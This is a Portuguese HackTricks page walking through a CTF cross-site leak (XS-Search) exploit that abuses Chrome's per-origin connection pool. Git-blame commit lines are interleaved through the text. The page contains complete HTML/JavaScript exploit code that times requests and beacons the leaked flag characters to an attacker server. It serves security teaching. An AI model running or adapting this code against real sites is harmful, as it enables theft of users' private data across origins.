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hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md

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Translated to Portuguese
2023-06-06 18:56:34 +00:00
# Exemplo de Pool de Conexão por Destino
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
</details>
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Neste [**exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) propõe mais uma solução para o desafio mencionado na seguinte página:
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Vamos ver como esse exploit funciona:
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* O atacante irá injetar uma nota com o maior número possível de tags **`<img`** **carregando** **`/js/purify.js`** (mais de 6 para bloquear a origem).
* Em seguida, o atacante irá **remover** a **nota** com o índice 1.
* Então, o atacante irá \[fazer o **bot acessar a página** com a nota restante] e enviará uma **solicitação** para **`victim.com/js/purify.js`** que ele irá **cronometrar**.&#x20;
* Se o tempo for **maior**, a **injeção** estava na **nota** restante, se o tempo for **menor**, a **flag** estava lá.
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
{% hint style="info" %}
Translated to Portuguese
2023-06-06 18:56:34 +00:00
Sinceramente, lendo o script, eu perdi alguma parte em que o **atacante faz o bot carregar a página para acionar as tags img**, não vejo nada assim no código.
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
{% endhint %}
```html
<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}
add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
```
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3601] No subject
2022-10-12 22:10:40 +00:00
</details>
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